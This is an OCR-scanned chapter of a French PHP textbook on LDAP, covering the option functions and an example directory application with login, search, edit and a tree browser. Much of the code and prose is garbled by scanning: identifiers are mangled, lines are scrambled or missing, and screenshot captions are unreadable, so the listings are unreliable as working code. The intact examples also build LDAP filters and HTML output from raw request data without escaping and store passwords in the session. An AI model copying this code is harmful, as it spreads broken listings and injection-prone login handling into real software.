echo "affiche le tableau avec les noms des RDN\n"; 

$tableau = ldap_explode_dn($dn, 0); 

print_r($tableau) ; 

echo "\n"; 

echo "affiche le tableau sans les noms des RDN\n"; 

$tableau = ldap_explode_dn($dn, 1); 
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pn'nt_r($tableau) ; 

?> 

affiche le tableau avec les noms des RDN 

Array 

( 

[count] => 4 

[0] => cn=Laurent GUEDON 

[1] => ou=developpement 

[2] => o=tild 

[3] => c=france 
) 

affiche le tableau sans les noms des RDN 
Array 

( 

[count] => 4 

[0] => Laurent GUEDON 

[1] => developpement 

[2] => tild 

[3] => france 
) 



Operation sur les options 



Modifier une option LDAP 

Pour modifier une option LDAP, nous utiliserons la fonction idap_set_option ( ) . 



ldap_set_option() 

Modifie une option de l'annuaire LDAP. 

Syntaxe boolean ldap_set_opti on (resource $idLdap, int $option, mixed 

$nouvel leValeur) 

$i dLdap Identifiant sur la connexion au serveur LDAP tel qu'il est retourne par la 

fonction ldap_connect ( ) . 

$opti on Identifiant de l'option a modifier. 

$nouvel 1 eVal eur Nouvelle valeur a donner a l'option. 

retour TRUE en cas de succes du changement de l'option, FALSE dans le cas 

contraire. 
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Tableau 11.1 : Les differentes options modifiables par ldap_set_option() 



Option 

LDAP OPT DEREF 



Description 

Ce parametre indique comment les alias des attributs doivent etre 

considers. Utilisez Tune des constantes suivantes : 

LDAP_DEREF_NEVER, indique que les alias peuvent etre utilises 

pour effectuer la recherche. 

LDAP_DEREF_SEARCHING, indique que les alias ne peuvent pas 

etre utilises pour la recherche, mais que, lors du renvoi des resultats, 

ceux-ci sont utilises. 

LDAP_DEREF_FINDING, indique que les alias sont utilises pour la 

recherche, mais que le resultat ne les prend pas en compte. 

LDAP_DEREF_ALWAYS, indique que les alias ne sont jamais pris en 

compte, ni pour la recherche ni pour le resultat. 

LDAP_OPT_SIZELIMIT Indique le nombre de resultats maximal qui peut etre retourne. La valeur 
par defaut o (LDAP_NO_LIMIT) indique qu'il n'y a pas de limite 
maximale. 

LDAP_OPT_TIMELIMIT Indique le temps maximal d'execution d'une requete dans I'annuaire 
LDAP. Cette valeur affecte simplement la recherche sur le serveur. La 
valeur par defaut o (LDAP_NO_LIMIT) indique qu'il n'y a pas de 
limite de temps. 

LDAP _OPT _REFERRALS Cette option indique comment le client doit reagir lorsqu'une reference 
lui est retournee par le serveur. Le parametre par defaut est 
LDAP_OPT_ON, c'est-a-dire que les references sont prises en 
compte. LDAP_OPT_OFF empeche cela. 

LDAP _OPT _RESTART Indique si, lors d'une interruption prematuree (comme un time out par 
exemple), les operations interrompues doivent reprendre 
(LDAP_OPT_ON) ou non (LDAP_OPT_OFF). Par defaut, I'option 
est fixee a LDAP OPT ON. 

Indique la version du protocole LDAP a utiliser : LDAP_VERSION2 
pour la version 2 ou LDAP_VERSION3 pour la version 3. Par defaut, 
le protocole utilise est v2. 

Indique une liste de controles au niveau du serveur. Le serveur doit les 
recevoir a chaque fois. La valeur qui doit etre passee a I'instruction est 
un tableau contenant les differents controles. 

array ( 

array ( // premier controle 
"oid" => "x . x . x.x. x . x" , 
"iscritical" => TRUE, 



LDAP_OPT_PROTOCOL 
_VERSION 

LDAP_OPT_SERVER 
CONTROLS 
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array ( // deuxieme controle 
"oid" => "y.y.y.y.y .y" # 
"iscritical" => FALSE, 



LDAP_OPT_CLIENT 
CONTROLS 



) Par defaut, il n'y aucun controle au niveau du serveur. 
Listes de controles au niveau du client. 
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Consulter une option LDAP 

Pour recuperer une option du serveur LDAP, on utilisera la fonction : 
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ldap_get_option() 



Recupere une option de l'annuaire LDAP 
Syntaxe 



$idLdap 



boolean ldap_get_opti on (resource $idLdap, int $option, mixed 
&$valeurRetour) 



Identifiant sur la connexion au serveur LDAP tel qu'il est retourne par la 
fonction ldap_connect ( ) . 

$opti on Identifiant de l'option a modifier. 

$valeurRetour Variable dans laquelle sera copiee la valeur de l'option que Ton aura 

recuperee. 

retour TRUE en cas de succes, FALSE dans le cas contraire. 

Vous pouvez recuperer les memes options que pour la fonction ldap_set_option ( ) , plus 
quelques autres en lecture seule. 



Tableau 11.2 : Les options supplementaires de la fonction ldap_get_option() 



Option 

LDAP OPT ERROR NUMBER 



Description 

Retourne le numero de la derniere erreur 
rencontree. Identique a la fonction 

ldap_errno ( ) . 



LDAP OPT ERROR STRING 



LDAP OPT HOST NAME 



Retourne la derniere erreur rencontree. Identique 

a la fonction ldap_error ( ) . 

Retourne I'adresse et le port de la connexion au 
serveur LDAP. 



Vous trouverez diverses explications (en anglais) sur les options LDAP sur le site de 
NETSCAPE : http://developer.netscape.com/docs/manuals/dirsdk/csdk30/functi52.htm. 



11.4. Exemple d'application 



Pour illustrer ce chapitre, nous allons creer un petit annuaire couple avec un navigateur LDAP. 
Ce n'est pas la l'une des grosses applications que vous pouvez trouver dans une entreprise pour 
gerer le personnel et les clients, mais les bases sont la. A vous de faire evoluer cet annuaire par 
la suite afin d'integrer de nouvelles fonctions. 
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L'authentification sur l'annuaire 

II est simple a present de construire un petit systeme d'authentification sur un annuaire. Dans 
un premier temps, nous allons preparer un fichier de configuration qui contiendra tout 
parametre propre a notre annuaire LDAP. 

Listing 11.8 : exemples/configuration.php 

<?php 

/* 

/ Parametres du serveur LDAP 

7 

$serveur = "local host"; // Adresse du serveur LDAP 

$port = 389; // Port du serveur LDAP 

$ssl = 0; // Utilisez 1 pour une connexion par SSL 

// DN Root 

$dnOrigine = "dc=mondomaine,dc=com"; 

// Branche utilisateur racine 

$dnl)tilisateur = "ou=People,dc=mondomaine,dc=com"; 

// Attribut login d'un utilisateur 
$loginAttribut = "en"; 

// dn du manager de l'annuaire LDAP 
$dnRoot = "cn=root,dc=mondomaine,dc=com"; 



/* 

/ Parametres des pages 

7 

$titre = "Bldap - L'annuaire LDAP en PHP"; 

$couleurBoite = "#0066CC"; 

$coul eurText = "#FFFFFF"; 
?> 

Nous pouvons, a present, ecrire un exemple d'authentification. Ceci commence par la page 
d'index qui gere les sessions des utilisateurs une fois authentifiees : 

Listing 11.9 : exemples/index.php 

<?php 
include("includes/inclusion.php") ; 

session_start() ; 

if ($_P0ST["action"]) 

{ 

$action = $_P0ST["action"] ; 
} elseif ($ GET["action"]){ 
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$action = $_GET["action"] ; 
} else { 

$action = ""; 
} 

switch ($action) 

{ 

case "connexion": 

connexion() ; 

affichehtml () ; 

break; 
case "deconnexion": 

deconnexion() ; 

affichehtml () ; 

break; 
case "recherche": 

include("entete.php") ; 

afficheRecherche() ; 

break; 
case "modifier": 

include("entete.php") ; 

modifierFiche() ; 

break; 
case "fiche": 

include("entete.php") ; 

afficheFiche() ; 

break; 
default: 

include("entete.php") ; 

if (!isset($_SESSION['sessionConnexionType'])) { 
// Si aucune session n'a ete creee 
aff i cheBoi teLogi n () ; 

} else { 

// Si 1 'util isateur est connects a 1 'interface 
afficheBlocRecherche() ; 

} 
break; 

} 

?> 

<p> </p> 

<p> </p> 

<?php 

include("pieddepage.php") ; 
?> 



Inclusion est un fichier qui contient tous les autres fichiers PHP a inclure. II ressemble a ceci : 
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Listing 11.10 : exemples/includes/inclusion.php 

<?php 

require_once("configuration.php") ; 
require_once("html .php") ; 

require_once("includes/connexionLdap.php") 
require_once( "includes/identification. php" 
require_once ("includes/1 dap. php") ; 
?> 



Les fichiers entete.php et pieddepage.php contiennent le code HTML permettant de donner le 
look general de la page. Le fichier html.php contient differentes fonctions affichant les 
formulaires ou les resultats des reponses. Les fonctions connexion ( ) et deconnexion ( ) sont 
decrites dans le fichier identification.php qui se trouve dans le repertoire includes. 

Listing 11.11 : exemples/includes/identification.php 

<?php 

/** 

* Fonction de connexion a 1 'interface 

* @return $ldap ou FALSE si erreur dans 1 ' identification 

7 

function connexion() 
{ 
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global $dnUtil isateur, $loginAttribut, $dnRoot; 
global $motPasse, $utilisateur, $connexionType; 

if ($1 dap = connexionLdapO) 
{ 

if ($connexionType == "normal") 



$_SESSION['sessionDn'] 

"=".$utilisateur.' 

$_SESSION['sessionPass'] 

$_SESSION['sessionConnexionType'] 

$_SESSION['sessionRdn'] 
} elseif ($connexionType == "manager" 

$_SESSION['sessionDn'] 

$_SESSION['sessionPass'] 

$_SESSION['sessionConnexionType'] 

$_SESSION['sessionRdn'] 
} else { 

$_SESSION['sessionDn'] 

$_SESSION['sessionPass'] 

$_SESSION['sessionConnexionType'] 

$_SESSION['sessionRdn'] 
} 
else { 
return FALSE; 



= $loginAttribut. 
.$dnUtilisateur; 

= $motPasse; 

= $connexionType; 

= $util isateur; 

= $dnRoot; 

= $motPasse; 

= $connexionType; 

= "Manager"; 



$connexionType; 
"Anonyme"; 



deconnexionLdap($ldap) ; 
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afficheBoiteMsg("La connexion a ete effectuee"); 
return TRUE; 
} 

/** 

* Fonction de deconnexion de 1 'interface 

7 

function deconnexion() 

{ 

session_unset() ; 

session_destroy() ; 

afficheBoiteMsg("La deconnexion a ete effectuee"); 

} 
?> 

La fonction connexion ( ) fait appel a deux fonctions connexionLdap ( ) et 
deconnexionLdap ( ) qui sont decrites dans le fichier includes I connexionLdap. php. Suivant le 
resultat de l'authentification LDAP, le script cree une session ou affiche un message indiquant 
que l'authentification a echoue. 

Listing 11.12 : exemples/includes/connexionLdap.php 

<?php 

/** 

* Fonction de creation de connexion et d'authentification au serveur LDAP 

* @return resource Identifiant de connexion LDAP ou FALSE si probleme 

7 

function connexionLdap() 

{ 

global $serveur, $port, $ssl ; 

global $dnUtil isateur, $loginAttribut, $dnRoot; 

global $motPasse, $utilisateur, $connexionType; 

// Connexion au serveur LDAP 
if ($ssl) $serveur = "ldaps://".$serveur; 
$1 dap = @ldap_connect($serveur, $port) ; 
if (!$ldap) 

{ 

afficheBoiteMsgErreur("La connexion au ". 

serveur n'a pas ete effectuee !"); 
return FALSE; 



// Verification qu'une session n'est pas deja creee 
if (isset($_SESSION['sessionConnexionType'])) 

{ 

$sessionDn = $_SESSION['sessionDn'] ; 

$sessionPass = $_SESSION['sessionPass'] ; 

$sessionConnexionType = $_SESSION['sessionConnexionType'] ; 
} else { 

SsessionDn = $loginAttribut. " = ".$util isateur. "," .$dnl)til isateur; 

$sessionPass = $motPasse; 
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} 



$sessionConnexionType = $connexionType; 



// Connexion sur l'annuaire en mode utilisateur "normal" 

if ($sessionConnexionType=="normal " && $sessionDn && $sessionPass) 

{ 

// Authentification sur le serveur LDAP 

if (!@ldap_bind($ldap, $sessionDn, $sessionPass)) 

{ 

afficheBoiteMsgErreur("L'authentification a echoue !"); 
return FALSE; 

} 
} 

// Connexion sur l'annuaire en mode utilisateur "manager" 
elseif ($sessionConnexionType=="manager" && $sessionPass) 
{ 

// Authentification sur le serveur LDAP 

if (!@ldap_bind($ldap, $dnRoot, $sessionPass)) 

{ 

afficheBoiteMsgErreur("L'authentification a echoue !"); 
return FALSE; 

} 
} 

// Connexion sur l'annuaire en mode utilisateur "anonyme" 
elseif ($sessionConnexionType==" anonyme") 
{ 

// Authentification sur le serveur LDAP 

if (!@ldap_bind($ldap)) 

{ 

afficheBoiteMsgErreur("L'authentification a echoue !"); 
return FALSE; 

} 

} else { 

// Probleme de connexion 

afficheBoiteMsgErreur("Connexion impossible !"); 
return FALSE; 

} 

return $1 dap; 



/** 

* Fonction de deconnexion du serveur LDAP 

* @input $1 dap Identifiant de connexion LDAP 

* @return rien 

7 

function deconnexionLdap($ldap) 

{ 

// Deconnexion du serveur LDAP 
ldap_close($ldap) ; 

} 
?> 
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Bltiap - L'annuaire LDAP en PHP - Netscape 6 



lEilllE] 



Rchier Edition Afficher Rechercher Aller a Signets laches Aide 



Precedent Recharger 



^J l<$ http:/Ai/ww.karigouroo.cQivi/oible/1dap/inde; 



3B 



Bldap - L'annuaire LDAP en PHP 



PHP tie L. Guedoii. D. Heute, I?. Heute et P.E. Huller 







"£st \& Document : Termine (3.335 s) 



Figure 1 1 .5 : Vouspouvez maintenant vous authentifier comme utilisateur, manager ou 
anonyme. 



Bldap - L'annuaire LDAP en PHP - Netscape 6 



Fichier Edition Afficher Rechercher Aller a Signets Taches Aide 



"* t -■& v $i jj ^ http:/Ai/v/v.' .karigouroci.com/bible/ldap/irideK.php ^ lllcll 
Precedent Transferer Recharger Arreter ' ' |B^B| 



Bldap - L'annuaire LDAP en PHP 

La bible du PHP de L. Ouedon, D. Heute, T. 



Heute et P.E. Huller 



irche An outer 




^ 



^at \£s Document : Termine (1 .215 s) 






Figure 11 .6 : Vous voila dans Vinterface en tant qu 'anonyme 



L'ajout d'une nouvelle entree 



L'ajout d'une nouvelle entree peut etre fait simplement depuis un formulaire HTML. Le 
schema de votre annuaire doit supporter les attributs standard que nous utilisons ici. Dans le 
cas contraire, veuillez vous reporter a la documentation d'OpenLDAP afin de resoudre les 
eventuels problemes. 

Commencons par afficher la page HTML contenant le formulaire d'ajout d'un nouvel 
utilisateur. 
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Listing 11.13 : exemples/ajout.php 

<?php 
include("includes/inclusion.php") ; 

session_start() ; 

if ($_POST["action"]) 
{ 

$action = $_POST["action"] ; 
} elseif ($_GET["action"]){ 

$action = $_GET["action"] ; 
} else { 

$action = ""; 



include("entete.php") ; 

switch ($action) 
{ 

case "ajouter": 

ajouterUtil isateur() ; 
break; 
default: 

afficheFormulaireO ; 
break; 
} 



?> 

<p> </p> 
<p> </p> 

<?php 

include("pieddepage.php") ; 
?> 

La fonction af f icheFormuiaire ( ) est decrite dans le fichier htmlphp. Lorsque le formulaire 
est valide, le parametre action=aj outer est alors passe au script, ce qui a pour effet d'executer 

la fonction ajouterUtilisateur ( ) . 

Listing 11.14 : exemples/includes/ldap.php 

<?php 

/** 

* Fonction d'ajout d'un utilisateur dans l'annuaire 

* @return boolean 

7 

function ajouterUtilisateur() 
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global $loginAttribut, $dnUtilisateur; 

if ( ! $1 dap = connexionLdapO) return FALSE; 

$dn = "$loginAttribut=".$ POST[$loginAttribut] . " ,$dnUti 1 isateur"; 



if ($ POST ['objectcl ass '][0]) 
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$entree[' objectcl ass'] [0] 


= $_P0ST[ 'objectcl ass '] [0] ; 


if ($_POST['objectclass'][l]) 




$entree[' objectcl ass'] [1] 


= $_P0ST[' objectcl ass'] [1] ; 


if ($_P0ST['sn']) 




$entree['sn'] = $ POSTfsn 


]; 


if ($_POST['givenname']) 




$entree [ ' gi venname ' ] 


= $ POST['givenname'] ; 


if ($_P0ST['mail ']) 




$entree['mail '] 


= $_P0ST['mail ']; 


if ($_POST['telephonenumber']) 




$entree [ ' tel ephonenumber ' ] 


= $ POST['telephonenumber'] 


if ($_POST['telexnumber']) 




$entree [ ' tel exnumber ' ] 


= $_P0ST[' tel exnumber']; 


if ($_P0ST['o']) 




$entree['o'] 


= $_P0ST['o']; 


if ($_P0ST['ou']) 




$entree['ou'] 


= $_P0ST['ou']; 


if ($_P0ST[' street']) 




$entree['street '] 


= $_P0ST[' street']; 


if ($_P0ST[' postal code']) 




$entree[' postal code 1 ] 


= $_P0ST['postalcode']; 


if ($_P0ST[T]) 




$entree['l '] 


= $_P0ST['T]; 


if ($_P0ST['c']) 




$entree['c'] 


= $_P0ST['c']; 


if ($ POST['userpassword']) 




$entree['userpassword'] 


= $ POST['userpassword'] ; 


$entree [$1 ogi nAttri but] 


= $_POST[$loginAttribut] ; 



if (@ldap_add($ldap, $dn, $entree)) 

{ 

afficheBoiteMsg("Le nouvel utilisateur a ete ajoute !"); 
} else { 

afficheBoiteMsgErreur("Probleme, le nouvel". 

" utilisateur n'a pas ete ajoute !", $1 dap) ; 

return FALSE; 
} 

// Deconnexion du serveur LDAP 
deconnexionLdap($ldap) ; 

return TRUE; 
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Recherche dans l'annuaire 

A present que de nouveaux utilisateurs sont dans l'annuaire, il est grand temps d'effectuer une 
recherche qui va nous permettre de les retrouver. C'est un formulaire HTML simple qui va 
nous permettre de rechercher les individus selon plusieurs criteres : 

■ La societe qui est representee par l'attribut o ou organization ; 
Le pays qui est defini par l'attribut c ; 

■ Le nom qui est designe par l'attribut en ; 
L'e-mail represente par l'attribut mail. 

Le formulaire est appele depuis notre page d'index par la fonction af f icheBlocRecherche ( ) . 
Sa description se trouve dans le fichier html.php. 

La fonction qui affiche le resultat est af f icheRecherche ( ) . 

Listing 11.15 : exemples/html.php (extrait) 

<?php 

/** 

* Fonction affichage le resultat de la recherche 

7 

function afficheRecherche() 

{ 

global $loginAttribut; 

afficheBlocRecherche($contenu) ; 
?> 

<p> </p> 

<table border="0" cellpadding="l" cellspacing="0" 

width="90%" bgcolor="#000000" align="center"> 

<tr> 

<td> 

<table border="0" cellpadding="0" cellspacing="4" width="100%" 

bgcolor="#ffffff"> 
<tr> 
<td align="center" width="25%"> 

Nom 
</td> 
<td al ign="center" width="25%"> 

Identifiant 
</td> 
<td align="center" width="25%"> 

E-mail 
</td> 
<td al ign="center" width="25%"> 

Telephone 
</td> 
</tr> 
<?php 
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} 

?> 



$resultat = rechercheLdap() ; 

echo '<trxtd colspan="4" align="center">' . 

'II y a ' .$resultat["count"] . ' resultat(s) ' . 
1 pour votre recherche 1 ; 
for ($i=0;$i<$resultat["count"];$i++) 
{ 

echo '<tr>'; 

echo '<tdxa href="index.php?action=fiche&identifiant=' . 
$resultat[$i] [$loginAttribut] [0] . ' ">' . 
$resultat[$i] ["en"] [0] . '</ax/td>' ; 
echo '<td>' .$resultat[$i] ["u1d"] [0] . ' </td> ' ; 
echo '<td>' .$resultat[$i] ["mail "] [0] . '</td>' ; 
echo '<td>' .$resultat[$i] ["telephonenumber"] [0] . '</td>' ; 
echo '</tr>'; 



echo 



</table> 
</td> 
</tr> 

</table>' ; 



Enfin, cette fonction fait appel a rechercheLdap ( ) , qui s'occupe d'effectuer la recherche dans 
l'annuaire et de retourner les resultats sous la forme d'un tableau. 



Listing 11.16 : exemples/includes/ldap.php 

<?php 

/** 

* Fonction de recherche dans la base LDAP 

* @return array les donnees recherchees ou FALSE si probleme 

7 

function rechercheLdap() 
{ 



global $dnUtil isateur; 
// Connexion au serveur LDAP 
$1 dap = connexionLdap() ; 
if (!$ldap) return FALSE; 

// Creation du filtre de recherche 

$filtre = ""; 

if ($_P0ST["societe"]) 

$filtre .= "(o=".$_P0ST["societe"]." 
if ($_P0ST["nom"]) 

$filtre .= "(cn=".$_P0ST["nom"].") 
if ($_P0ST["pays"]) 

$filtre .= "(c=".$_P0ST["pays"].") 
if ($_P0ST["mail"]) 

$filtre .= "(mail=".$_P0ST["mail"] 
if (!$filtre) 

{ 

$filtre = "(&(cn=*)(objectclass=*))"; 
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else ( 
$filtre = "(&".$filtre."(objectclass=*))"; 



// Elements a recuperer 

$element = array ("en", "uid", "mail", "telephonenumber") ; 

$recherche = @ldap_list($ldap, $dnUtil isateur, $filtre, $element); 

if (!$recherche) 

{ 

afficheBoiteMsgErreur("Probleme lors de la recherche !", $ldap); 

deconnexionLdap($ldap) ; 

return FALSE; 

} 

$resultat = @ldap_get_entries($ldap, $recherche) ; 

deconnexionLdap($ldap) ; 

return $resultat; 



Modification d'une entree 

Avant de modifier une entree, nous devons afficher un formulaire. Pour cela, nous allons, dans 
un premier temps, appeler la page index depuis le resultat de la recherche precedente, et lui 
transmettre le RDN qui nous permettra ensuite de recuperer l'utilisateur. 

La page index.php fait alors appel a la fonction af f icheFiche ( ) . 

Listing 11.17 : exemples/html.php (extrait) 

<?php 

/** 

* Fonction affichage de la fiche de la personne 

7 

function afficheFiche() 

{ 
?> 

<table border="0" cellpadding="l" cellspacing="0" 
width="90%" bgcolor="#000000" al ign="center"> 
<tr> 
<td> 

<table border="0" cellpadding="0" cellspacing="4" width="100%" 
bgcolor="#ffffff"> 

<form action="index.php" method="post"> 
<?php 

$ldapResultat = recherchel_dapPersonne() ; 

// Ceci va nous etre utile pour bien visual iser les resultats 

// Un peu de couleurs ne fait pas de mal . 

Seoul = 0; 

Seoul eur[0] = "#ffffff"; 

$couleur[l] = "#dddddd"; 
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?> 



for ($i=0;$i<$ldapResultat[0] ["count"] ;$i++) 

{ 

$attribut = $ldapResultat[0] [$i] ; 

echo '<tr>'; 

echo ' <td bgcolor=" ' .$couleur[$coul] . ' ">' .$attribut. '</td>' ; 

echo ' <td bgcolor=" ' .$couleur[$coul] . ' ">' ; 

if ($ldapResultat[0] [$i] ["count"]){ 

// II peut y avoir plusieurs valeurs pour un attribut. 

// Nous allons done verifier combiens de donnees nous sont 

// retournees pour chaques attributs. 

// Pour cela, on compte le nombre de valeur pour 1 'attribut 

// et on boucle 

$boucle = $ldapResultat[0] [$attribut] ["count"] ; 

if ($boucle>l){ 

for ($nbAttr=0;$nbAttr<$boucle;$nbAttr++) 

{ 

echo '<input type="text" name=" ' .$attribut. 
1 ['.$nbAttr. ']" value="'. 
$ldapResultat[0] [$attribut] [$nbAttr] . '"xbr />'; 

} 
} else { 

echo '<input type="text" name=" ' .$attribut. 
1 " value=" ' . 
$ldapResultat[0] [$attribut] [0] . '">' ; 

} 
} else { 

echo '<input type="text" name=" ' .$attribut. ' [0] " ' . 
1 value="">'; 
} 

echo ' <td bgcolor=" ' .$couleur[$coul] . ' ">' ; 
echo '</td>'; 

echo '</tr>'; 

if ($coul==0) $coul=l; else $coul=0; 



<trxtd> 
<input type="hidden" value="modifier" name="action"> 
<input type="submit" value="Modifier"> 
</tdx/tr> 
</form> 
</table> 
</tdx/tr> 
</table> 
<?php 

} 
?> 
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Cette page lance d'abord la fonction rechercheLdapPersonne ( ) , qui lui retourne un tableau 
contenant la liste des attributs et leurs differentes valeurs. 

Listing 11.18 : exemples/includes/ldap.php 

<?php 

/** 

* Fonction de recuperation des elements d'une fiche 

* @return array les donnees recherchees ou FALSE si probleme 

7 

function rechercheLdapPersonne () 

{ 

global $dnUtil isateur, $loginAttribut; 
// Connexion au serveur LDAP 
$1 dap = connexionLdap() ; 
if (!$ldap) return FALSE; 

// Creation du filtre de recherche 
$filtre = "(&(". $loginAttribut."=". 

$_GET["identifiant"].")(objectclass=*))"; 

$recherche = @ldap_list($ldap, $dnUtil isateur, $filtre); 

if (!$recherche) 

{ 

afficheBoiteMsgErreur("Probleme lors de la recherche !", 
$ldap); 

deconnexionLdap($ldap) ; 

return FALSE; 



// On recupere 1 'entree 

$resultat = @ldap_get_entries($ldap, $recherche) ; 

// Deconnexion du serveur LDAP 
deconnexionLdap($ldap) ; 

return $resultat; 



Ici, pas de surprise particuliere. C'est une recherche classique dans un annuaire, ou Ton precise 
simplement, en plus, comme filtre, le RDN de l'utilisateur. 

Par la suite, la fonction af f icheFiche { ) prend le relais et construit le code HTML de notre 
formulaire en fonction des attributs et de la (ou des) valeur(s) de ceux-ci. 

L'envoi du formulaire effectue l'appel depuis la page index.php a la fonction 

modif ierFiche ( ) . 
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Listing 11.19 : exemples/includes/ldap.php 

<?php 

/** 

* Fonction de modification d'un utilisateur dans l'annuaire 

* @return boolean 

V 

function modifierFiche() 

{ 

global $loginAttribut, $dnUtilisateur; 

if (!$ldap = connexionLdapO) return FALSE; 

$dn = "$1 ogi nAttri but= " . $_P0ST [$1 ogi nAttri but] . " , $dnUti 1 i sateur " ; 

$entree = $_P0ST; 
array_pop($entree) ; 

if (@ldap_mod_replace($ldap, $dn, $entree)) 

{ 

afficheBoiteMsg("L'utilisateur a ete modifie !"); 
} else { 

afficheBoiteMsgErreur("Probleme, " . 

"1 'utilisateur n'a pas ete modifie !", $ldap); 

return FALSE; 
} 

// Deconnexion du serveur LDAP 
deconnexionLdap($ldap) ; 
return TRUE; 
} 

Les informations du formulaire sont recuperees et preparees pour etre utilisees avec 
l'instruction ldap_mod_replace ( ) . Nous avions pris soin de construire notre formulaire de 
facon a ce que le tableau $_post soit directement utilisable par cette fonction. La preparation 
est alors tres simple: il suffit de supprimer $_post[ "action" ] a l'aide de l'instruction 

array_pop ( ) . 



Realisation d'un arbre de navigation LDAP 

II est courant de visualiser l'annuaire LDAP sous la forme d'un arbre. Le langage PHP va nous 
permettre de realiser un systeme de navigation simple sur le serveur LDAP. 

Listing 11.20 : exemples/navframearbre.php 

<?php 
include("includes/inclusion.php") ; 

session start(); 
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af fi chehtml () ; 

?> 

<?php 

if ($_GET['dnEn']){ 

$dnEn = urldecode($_GET['dnEn']) ; 
$dnEnTableau = explodeC | | ' , $dnEn); 

} else { 

$dnEnTableau[0] = ""; 

} 

echo "<p style='font-size: 10px;'>"; 

navigateur($dnEnTableau) ; 

echo "</p>"; 
?> 

<p> </p> 
</body> 
</html> 

Nous observons que la page recupere un parametre dnEn qui lui est envoye et le transforme en 
tableau. Ce parametre va nous servir a ouvrir ou fermer les branches de l'arbre LDAP. 

La fonction permettant de visualiser l'arbre est la fonction navigateur ( ) . 

Listing 11.21 : exemples/includes/ldap.php 

<?php 

/** 

* Fonction affichage de 1 'element d'origine de l'arbre LDAP 

* @input $dnEn 

7 

function navigateur($dnEn) 

{ 

global $dnOrigine; 

// Connexion au serveur LDAP 

$1 dap = connexionLdap() ; 

echo "* "; 
// lien vers les attributs 

$1 i en = "navframedescripti on. php?dn=".url encode ($dnOrigine) ; 
echo "<a href=' ".$lien." ' target='description'>". 
$dnOrigine."</axbr />\n"; 

extractionDonnee($dnOrigine, $dnEn, $1 dap) ; 

// Disconnexion du serveur LDAP 
deconnexionLdap($ldap) ; 

} 
?> 

La fonction effectue une connexion sur le serveur LDAP, puis affiche les liens sur le premier 
element de l'arbre, permettant de visualiser par la suite, sur une nouvelle page, ses attributs. 
Ensuite, il est fait appel a une nouvelle fonction, extractionDonnee ( ) , avant de se 
deconnecter de l'annuaire. 
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Chapitre 1 1 Les annuaires LDAP 



Listing 11.22 : exemples/includes/ldap.php 

<?php 

/** 

* Fonction recursive permettant de construire l'arbre LDAP 

* @input string $dn, array $dnEn, resource $1 dap 

* @return $string donnees formates 

V 

function extractionDonnee($dn, $dnEn, $1 dap) 

{ 

// Creation du filtre de recherche 

$filtre = "(&(objectclass=*))"; 

$recherche = @ldap_l i st ($1 dap, $dn, $filtre, array("")); 

// On recupere 1 'entree 

$tableau = @ldap_get_entries($ldap, $recherche); 

for ($i=0;$i<$tableau["count"];$i++) 

{ 

// On recupere le rdn 

$dntmp = split(",", $tableau[$i] ["dn"]) ; 

for($j=0;$j<count($dntmp) ;$j++) 

{ 

echo " "; 

} 

// Les liens sur l'arbre 

$dnEnLien = $dnEn; 

// On verifie si 1 'entree n'existe pas deja dans le tableau 

if ($clef = array_search($tableau[$i] ["dn"] , $dnEnLien)) 

{ 

// Si oui on la supprime 

$dnEnLien[$clef] = ' '; 

$caractere = '-' ; 
} else { 

// Si non, on 1 'ajoute 

$dnEnLien[count($dnEn)] = $tableau[$i] ["dn"] ; 

$caractere = '+' ; 
} 

$chainednTmp = join("||", $dnEnLien); 

// On peut supprimer les signes | en trop 

$chainedn = str_replace(" | | | | "," | | ",$chainednTmp) ; 

// On encode la chaTne a cause de la methode GET utilisee 

$chainedn = urlencode($chainedn) ; 

$lien = "navframearbre.php?dnEn=".$chainedn; 

echo "<a href="'.$lien." ' target='arbre'>[".$caractere."]</a> "; 

// lien vers les attributs 

$1 i en = "navframedescription.php?dn=" . url encode ($tableau[$i] ["dn"]] 

echo "<a href='".$lien."' target='description'>". 

$dntmp[0] ."</axbr />\n"; 
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for ($j=0;$j<count($dnEn);$j++) 

{ 

if ($dnEn[$j]==$tableau[$i] ["dn"]) 

{ 

extractionDonnee($tableau[$i] ["dn"] , $dnEn, $ldap); 

} 
} 



Cette fonction est une fonction recursive. Elle va scanner la branche de l'annuaire et verifier 
que le DN ne se trouve pas dans le tableau passe en parametre. Si elle le trouve, la fonction se 
lance elle-meme avec ce nouveau DN comme nouvelle base de recherche. Les liens nous 
servent, d'une part, a ouvrir et fermer les branches de l'arbre et, d'autre part, a afficher une 
page indiquant tous les attributs et leurs valeurs. L'affichage de la page est execute par l'appel 

a la fonction af f icheAttribut ( ) . 

Listing 11.23 : exemples/html.php (extrait) 

<?php 

/** 

* Fonction d'affichage des attributs d'une entree 

* @input $dn 

7 

function afficheAttribut($dn) 
{ 

$resultat = NavLdapEntree($dn) ; 

echo ' 

<table border="0" eel 1 paddi ng=" 1 " eel lspacing="0" 
width="90%" bgcolor=" ' .$GLOBALS["couleurBoite"] . ' " align="center"> 
<tr> 
<td> 

<table border="0" cellpadding="0" cellspacing="4" width="100%" 
bgcolor="#ffffff">'; 

// Ceci va nous etre utile pour bien visual iser les resultats 

// Un peu de couleurs ne fait pas de mal . 

$coul = 0; 

Seoul eur[0] = "#ffffff"; 

Seoul eur[l] = "#dddddd"; 

for ($i=0;$i<$resultat[0] ["count"] ;$i++) 
{ 

$attribut = $resultat[0] [$i] ; 

echo '<tr>'; 

echo ' <td bgcolor=" ' .$couleur[$coul] . ' ">' .$attribut. '</td>' ; 

echo '<td bgcolor=" ' .$couleur[$coul] . ' ">' ; 
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} 

?> 



// II peut y avoir plusieurs valeurs pour un attribut. 

// Nous allons done verifier combiens de donnees nous sont 

// retournees pour chaques attributs. 

// Pour cela, on compte le nombre de valeur pour 1 'attribut 

// et on boucle 

for ($nbAttr=0;$nbAttr<$resultat[0] [$attribut] ["count"] ;$nbAttr++) 

{ 

echo $resultat[0] [$attribut] [$nbAttr] . '<br />'; 
} 

echo '<td bgcolor=" ' .$couleur[$coul] . ' ">' ; 
echo '</td>'; 

echo '</tr>'; 

if ($coul==0) $coul=l; else $coul=0; 

} 

echo '</table> 

</td> 

</tr> 
</table>' ; 



Cette fonction est similaire a celle nous affichant la fiche d'un utilisateur. Elle utilise 
l'instruction NavLdapEntree ( ) en lui envoyant le DN de l'entree dont nous souhaitons 
recuperer les attributs. 

Listing 11.24 : exemples/includes/ldap.php 

<?php 

/** 

* Fonction de recherche des attributs d'un dn 

* @input $dn 

* @return array les donnees recherchees ou FALSE si probleme 

7 

function NavLdapEntree($dn) 

{ 

// Connexion au serveur LDAP 
$1 dap = connexionLdap() ; 
